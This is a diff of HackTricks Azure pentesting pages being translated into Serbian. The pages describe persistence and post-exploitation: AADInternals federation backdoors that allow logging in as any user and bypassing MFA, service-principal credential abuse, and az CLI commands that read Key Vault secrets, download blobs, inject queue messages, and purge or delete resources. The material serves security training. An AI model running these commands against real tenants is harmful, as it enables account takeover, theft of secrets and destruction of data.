Sa privilegijama Administratora aplikacija, GA ili prilagođene uloge sa microsoft.directory/applications/credentials/update dozvolama, možemo dodati kredencijale (tajni ključ ili sertifikat) postojećoj aplikaciji.
|
||||
|
||||
It's possible to **target an application with high permissions** or **add a new application** with high permissions.
|
||||
Moguće je **ciljati aplikaciju sa visokim dozvolama** ili **dodati novu aplikaciju** sa visokim dozvolama.
|
||||
|
||||
An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators.
|
||||
|
||||
This technique also allows to **bypass MFA**.
|
||||
Zanimljiva uloga koju bi trebalo dodati aplikaciji bila bi **Uloga privilegovanog administratora za autentifikaciju** jer omogućava **resetovanje lozinke** Globalnim Administratorima.
|
||||
|
||||
Ova tehnika takođe omogućava **obići MFA**.
|
||||
```powershell
|
||||
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
||||
```
|
||||
|
||||
- For certificate based authentication
|
||||
|
||||
- Za autentifikaciju zasnovanu na sertifikatima
|
||||
```powershell
|
||||
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
||||
```
|
||||
|
||||
### Federation - Token Signing Certificate
|
||||
|
||||
With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know.
|
||||
|
||||
**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service:
|
||||
Sa **DA privilegijama** na on-prem AD, moguće je kreirati i uvesti **nove Token signing** i **Token Decrypt sertifikate** koji imaju veoma dugu validnost. Ovo će nam omogućiti da **se prijavimo kao bilo koji korisnik** čiji ImuutableID znamo.
|
||||
|
||||
**Pokrenite** sledeću komandu kao **DA na ADFS serveru(ima)** da kreirate nove sertifikate (podrazumevani lozinka 'AADInternals'), dodajte ih u ADFS, onemogućite automatsko obnavljanje i restartujte servis:
|
||||
```powershell
|
||||
New-AADIntADFSSelfSignedCertificates
|
||||
```
|
||||
|
||||
Then, update the certificate information with Azure AD:
|
||||
|
||||
Zatim, ažurirajte informacije o sertifikatu sa Azure AD:
|
||||
```powershell
|
||||
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
||||
```
|
||||
|
||||
### Federation - Trusted Domain
|
||||
|
||||
With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer:
|
||||
|
||||
Sa GA privilegijama na tenant-u, moguće je **dodati novu domenu** (mora biti verifikovana), konfigurisati njen tip autentifikacije na Federated i konfigurisati domenu da **veruje određenom sertifikatu** (any.sts u sledećoj komandi) i izdavaču:
|
||||
```powershell
|
||||
# Using AADInternals
|
||||
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
||||
@@ -60,13 +51,8 @@ Get-MsolUser | select userPrincipalName,ImmutableID
|
||||
# Access any cloud app as the user
|
||||
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
|
||||
```
|
||||
|
||||
## References
|
||||
## Референце
|
||||
|
||||
- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information check:
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
Ova dozvola omogućava napadaču da kreira ili menja redove i njihove osobine unutar skladišnog naloga. Može se koristiti za kreiranje neovlašćenih redova, modifikovanje metapodataka ili promenu lista kontrole pristupa (ACL) kako bi se omogućio ili ograničio pristup. Ova sposobnost može ometati radne tokove, ubrizgati zlonamerne podatke, eksfiltrirati osetljive informacije ili manipulisati podešavanjima reda kako bi se omogućili dalji napadi.
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -21,7 +20,6 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
@@ -29,7 +27,3 @@ az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,42 +4,34 @@
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
Za više informacija o skladištu pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Common tricks
|
||||
### Uobičajene trikove
|
||||
|
||||
- Keep the access keys
|
||||
- Generate SAS
|
||||
- User delegated are 7 days max
|
||||
- Čuvanje pristupnih ključeva
|
||||
- Generisanje SAS
|
||||
- Korisnički delegirani su maksimalno 7 dana
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
|
||||
|
||||
These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information.
|
||||
|
||||
Ove dozvole omogućavaju korisniku da modifikuje svojstva blob servisa za funkciju zadržavanja brisanja kontejnera, koja omogućava ili konfiguriše period zadržavanja za obrisane kontejnere. Ove dozvole se mogu koristiti za održavanje postojanosti kako bi se pružila prilika napadaču da povrati ili manipuliše obrisanim kontejnerima koji su trebali biti trajno uklonjeni i pristupi osetljivim informacijama.
|
||||
```bash
|
||||
az storage account blob-service-properties update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable-container-delete-retention true \
|
||||
--container-delete-retention-days 100
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable-container-delete-retention true \
|
||||
--container-delete-retention-days 100
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information.
|
||||
|
||||
Ove dozvole mogu omogućiti napadaču da izmeni politike zadržavanja, vrati obrisane podatke i pristupi osetljivim informacijama.
|
||||
```bash
|
||||
az storage blob service-properties delete-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable true \
|
||||
--days-retained 100
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable true \
|
||||
--days-retained 100
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,28 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VMs persistence
|
||||
## VMs persistencija
|
||||
|
||||
For more information about VMs check:
|
||||
Za više informacija o VMs pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Backdoor VM applications, VM Extensions & Images <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
### Backdoor VM aplikacije, VM ekstenzije i slike <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed.
|
||||
Napadač identifikuje aplikacije, ekstenzije ili slike koje se često koriste u Azure nalogu, mogao bi da ubaci svoj kod u VM aplikacije i ekstenzije tako da se backdoor izvršava svaki put kada se instaliraju.
|
||||
|
||||
### Backdoor Instances <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
### Backdoor instance <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
Napadač bi mogao da dobije pristup instancama i da ih backdoor-uje:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- Backdooring the **User Data**
|
||||
- Koristeći tradicionalni **rootkit** na primer
|
||||
- Dodajući novu **javnu SSH ključ** (proverite [EC2 privesc opcije](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- Backdoor-ovanje **Korisničkih podataka**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
Za više informacija o skladištu pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,38 +12,30 @@ For more information about storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
|
||||
A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**.
|
||||
|
||||
Principal sa ovom dozvolom će moći da **prikazuje** blobove (fajlove) unutar kontejnera i **preuzima** fajlove koji mogu sadržati **osetljive informacije**.
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
|
||||
az storage blob download \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):
|
||||
|
||||
Princip sa ovom dozvolom će moći da **piše i prepisuje datoteke u kontejnerima** što bi moglo da mu omogući da izazove neku štetu ili čak da eskalira privilegije (npr. prepisivanje nekog koda koji je smešten u blob-u):
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
|
||||
Ovo bi omogućilo brisanje objekata unutar naloga za skladištenje što bi moglo **prekinuti neke usluge** ili učiniti da klijent **izgubi dragocene informacije**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File Share Post Exploitation
|
||||
Post eksploatacija deljenja fajlova
|
||||
|
||||
For more information about file shares check:
|
||||
Za više informacija o deljenju fajlova pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -12,41 +12,33 @@ For more information about file shares check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
|
||||
|
||||
A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**.
|
||||
|
||||
Principal sa ovom dozvolom će moći da **prikazuje** fajlove unutar deljenja fajlova i **preuzima** fajlove koji mogu sadržati **osetljive informacije**.
|
||||
```bash
|
||||
# List files inside an azure file share
|
||||
az storage file list \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
|
||||
# Download an specific file
|
||||
az storage file download \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share):
|
||||
|
||||
Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u deljenim datotekama** što bi moglo da mu omogući da izazove neku štetu ili čak da eskalira privilegije (npr. prepisivanje nekog koda koji je smešten u deljenoj datoteci):
|
||||
```bash
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
Ovo bi omogućilo brisanje datoteka unutar deljenog datotečnog sistema što bi moglo **prekinuti neke usluge** ili učiniti da klijent **izgubi dragocene informacije**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,18 +4,14 @@
|
||||
|
||||
## Funciton Apps Post Exploitaiton
|
||||
|
||||
For more information about function apps check:
|
||||
Za više informacija o funkcionalnim aplikacijama, proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there:
|
||||
> [!CAUTION] > **Trikovi post eksploatacije funkcionalnih aplikacija su veoma povezani sa trikovima eskalacije privilegija** tako da ih možete pronaći tamo:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
Za više informacija o ovoj usluzi proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
@@ -12,27 +12,22 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/getSecret/action
|
||||
|
||||
This permission will allow a principal to read the secret value of secrets:
|
||||
|
||||
Ova dozvola će omogućiti principalu da pročita tajnu vrednost tajni:
|
||||
```bash
|
||||
az keyvault secret show --vault-name <vault name> --name <secret name>
|
||||
|
||||
# Get old version secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a certificate from the vault.
|
||||
|
||||
Ova dozvola omogućava principalu da trajno obriše sertifikat iz trezora.
|
||||
```bash
|
||||
az keyvault certificate purge --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
|
||||
|
||||
This permission allows a principal to encrypt data using a key stored in the vault.
|
||||
|
||||
Ova dozvola omogućava principalu da enkriptuje podatke koristeći ključ koji je smešten u trezoru.
|
||||
```bash
|
||||
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
@@ -40,76 +35,55 @@ az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm
|
||||
echo "HackTricks" | base64 # SGFja1RyaWNrcwo=
|
||||
az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo=
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
|
||||
|
||||
This permission allows a principal to decrypt data using a key stored in the vault.
|
||||
|
||||
Ova dozvola omogućava subjektu da dekriptuje podatke koristeći ključ koji je smešten u trezoru.
|
||||
```bash
|
||||
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
# Example
|
||||
az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a key from the vault.
|
||||
|
||||
Ova dozvola omogućava principalu da trajno obriše ključ iz trezora.
|
||||
```bash
|
||||
az keyvault key purge --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a secret from the vault.
|
||||
|
||||
Ova dozvola omogućava principalu da trajno obriše tajnu iz trezora.
|
||||
```bash
|
||||
az keyvault secret purge --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/setSecret/action**
|
||||
|
||||
This permission allows a principal to create or update a secret in the vault.
|
||||
|
||||
Ova dozvola omogućava principalu da kreira ili ažurira tajnu u trezoru.
|
||||
```bash
|
||||
az keyvault secret set --vault-name <vault name> --name <secret name> --value <secret value>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/delete**
|
||||
|
||||
This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
Ova dozvola omogućava principalu da obriše sertifikat iz trezora. Sertifikat se premesti u stanje "soft-delete", gde može biti oporavljen osim ako nije uklonjen.
|
||||
```bash
|
||||
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/delete**
|
||||
|
||||
This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
Ova dozvola omogućava principalu da obriše ključ iz trezora. Ključ se premesti u stanje "soft-delete", gde može biti oporavljen osim ako nije uklonjen.
|
||||
```bash
|
||||
az keyvault key delete --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/delete**
|
||||
|
||||
This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
Ova dozvola omogućava principalu da obriše tajnu iz trezora. Tajna se premesta u stanje "soft-delete", gde može biti vraćena osim ako nije uklonjena.
|
||||
```bash
|
||||
az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/restore/action
|
||||
|
||||
This permission allows a principal to restore a secret from a backup.
|
||||
|
||||
Ova dozvola omogućava principalu da vrati tajnu iz rezervne kopije.
|
||||
```bash
|
||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,66 +12,53 @@ For more information check:
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
Napadač sa ovom dozvolom može da pogleda poruke iz Azure Storage Queue. Ovo omogućava napadaču da vidi sadržaj poruka bez označavanja kao obrađenih ili menjanja njihovog stanja. To može dovesti do neovlašćenog pristupa osetljivim informacijama, omogućavajući eksfiltraciju podataka ili prikupljanje obaveštajnih podataka za dalja napada.
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
**Potencijalni uticaj**: Neovlašćen pristup redu, izlaganje poruka ili manipulacija redom od strane neovlašćenih korisnika ili servisa.
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
Sa ovom dozvolom, napadač može da preuzme i obradi poruke iz Azure Storage Queue. To znači da mogu da pročitaju sadržaj poruke i označe je kao obrađenu, efikasno je skrivajući od legitimnih sistema. To može dovesti do izlaganja osetljivih podataka, prekida u načinu na koji se poruke obrađuju, ili čak zaustavljanja važnih radnih tokova čineći poruke nedostupnim njihovim predviđenim korisnicima.
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
Sa ovom dozvolom, napadač može dodati nove poruke u Azure Storage Queue. To im omogućava da ubace zlonamerne ili neovlašćene podatke u red, potencijalno pokrećući neželjene akcije ili ometajući usluge koje obrađuju poruke.
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
Ova dozvola omogućava napadaču da doda nove poruke ili ažurira postojeće u Azure Storage Queue. Korišćenjem ove dozvole, mogli bi umetnuti štetan sadržaj ili izmeniti postojeće poruke, potencijalno obmanjujući aplikacije ili uzrokujući neželjeno ponašanje u sistemima koji se oslanjaju na red.
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete`
|
||||
|
||||
This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system.
|
||||
|
||||
Ova dozvola omogućava napadaču da obriše redove unutar naloga za skladištenje. Korišćenjem ove sposobnosti, napadač može trajno ukloniti redove i sve njihove povezane poruke, uzrokujući značajne prekide u radnim tokovima i dovodeći do kritičnog gubitka podataka za aplikacije koje se oslanjaju na pogođene redove. Ova akcija se takođe može koristiti za sabotiranje usluga uklanjanjem bitnih komponenti sistema.
|
||||
```bash
|
||||
az storage queue delete --name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete`
|
||||
|
||||
With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue.
|
||||
|
||||
Sa ovom dozvolom, napadač može da obriše sve poruke iz Azure Storage Queue. Ova akcija uklanja sve poruke, ometajući radne tokove i uzrokujući gubitak podataka za sisteme koji zavise od reda.
|
||||
```bash
|
||||
az storage message clear --queue-name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
Ova dozvola omogućava napadaču da kreira ili menja redove i njihove osobine unutar naloga za skladištenje. Može se koristiti za kreiranje neovlašćenih redova, modifikovanje metapodataka ili promenu lista kontrole pristupa (ACL) kako bi se omogućio ili ograničio pristup. Ova sposobnost može ometati radne tokove, ubrizgati zlonamerne podatke, eksfiltrirati osetljive informacije ili manipulisati podešavanjima reda kako bi se omogućili dalji napadi.
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -79,7 +66,6 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
@@ -87,7 +73,3 @@ az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
@@ -12,81 +12,65 @@ For more information check:
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/Delete`
|
||||
|
||||
An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows.
|
||||
|
||||
Napadač sa ovom dozvolom može obrisati čitav Azure Service Bus namespace. Ova akcija uklanja namespace i sve povezane resurse, uključujući redove, teme, pretplate i njihove poruke, uzrokujući široku disruptivnost i trajni gubitak podataka u svim zavisnim sistemima i radnim tokovima.
|
||||
```bash
|
||||
az servicebus namespace delete --resource-group <ResourceGroupName> --name <NamespaceName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic.
|
||||
|
||||
Napadač sa ovom dozvolom može da obriše Azure Service Bus temu. Ova akcija uklanja temu i sve njene povezane pretplate i poruke, što može dovesti do gubitka kritičnih podataka i ometanja sistema i radnih tokova koji se oslanjaju na temu.
|
||||
```bash
|
||||
az servicebus topic delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
